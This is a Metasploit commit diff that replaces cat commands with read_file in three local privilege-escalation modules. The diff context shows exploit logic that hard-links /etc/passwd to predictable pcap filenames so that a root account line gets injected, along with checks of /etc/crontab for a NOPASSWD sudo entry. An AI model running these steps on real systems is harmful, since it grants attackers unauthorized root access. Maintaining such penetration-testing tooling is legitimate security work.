Skip to content

Commit bcb040c

Browse files
committed
Land rapid7#7377, read_file for some modules
2 parents 075401d + 2272e15 commit bcb040c

File tree

3 files changed

+5
-5
lines changed

3 files changed

+5
-5
lines changed

modules/exploits/linux/local/netfilter_priv_esc.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -90,7 +90,7 @@ def iptables_loaded?()
9090
def shemsham_installed?()
9191
# we want this to be false.
9292
vprint_status('Checking if shem or sham are installed')
93-
shemsham = cmd_exec('cat /proc/cpuinfo')
93+
shemsham = read_file('/proc/cpuinfo')
9494
if shemsham.include?('shem')
9595
print_error('shem installed, system not vulnerable.')
9696
elsif shemsham.include?('sham')

modules/exploits/osx/local/rsh_libmalloc.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -123,7 +123,7 @@ def sploit
123123
vprint_status("Now to check whether the script worked...")
124124

125125
# Check whether it worked
126-
crontab = cmd_exec("cat /etc/crontab")
126+
crontab = read_file("/etc/crontab")
127127
vprint_status("Reading crontab yielded the following response: #{crontab}")
128128
unless crontab.include? "ALL ALL=(ALL) NOPASSWD: ALL"
129129
vprint_error("Bad news... it did not write to the file.")

modules/post/multi/escalate/metasploit_pcaplog.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -63,7 +63,7 @@ def normalize_minutes
6363

6464
def run
6565
print_status "Setting up the victim's /tmp dir"
66-
initial_size = cmd_exec("cat /etc/passwd | wc -l")
66+
initial_size = read_file("/etc/passwd").lines.count
6767
print_status "/etc/passwd is currently #{initial_size} lines long"
6868
i = 0
6969
j = 0
@@ -75,7 +75,7 @@ def run
7575
print_status "Linking /etc/passwd to predictable tmp files (Attempt #{j})"
7676
cmd_exec("for i in `seq 0 120` ; do ln /etc/passwd /tmp/msf3-session_`date --date=\"\$i seconds\" +%Y-%m-%d_%H-%M-%S`.pcap ; done")
7777
end
78-
current_size = cmd_exec("cat /etc/passwd | wc -l")
78+
current_size = read_file("/etc/passwd").lines.count
7979
if current_size == initial_size
8080
# PCAP is flowing
8181
pkt = "\n\n" + datastore['USERNAME'] + ":" + datastore['PASSWORD'].crypt("0a") + ":0:0:Metasploit Root Account:/tmp:/bin/bash\n\n"
@@ -92,7 +92,7 @@ def run
9292
i = (i+1) % 60 # increment second counter
9393
end
9494

95-
if cmd_exec("(grep Metasploit /etc/passwd > /dev/null && echo true) || echo false").include?("true")
95+
if read_file("/etc/passwd").includes?("Metasploit")
9696
print_good("Success. You should now be able to login or su to the '" + datastore['USERNAME'] + "' account")
9797
# TODO: Consider recording our now-created username and password as a valid credential here.
9898
else

0 commit comments

Comments
 (0)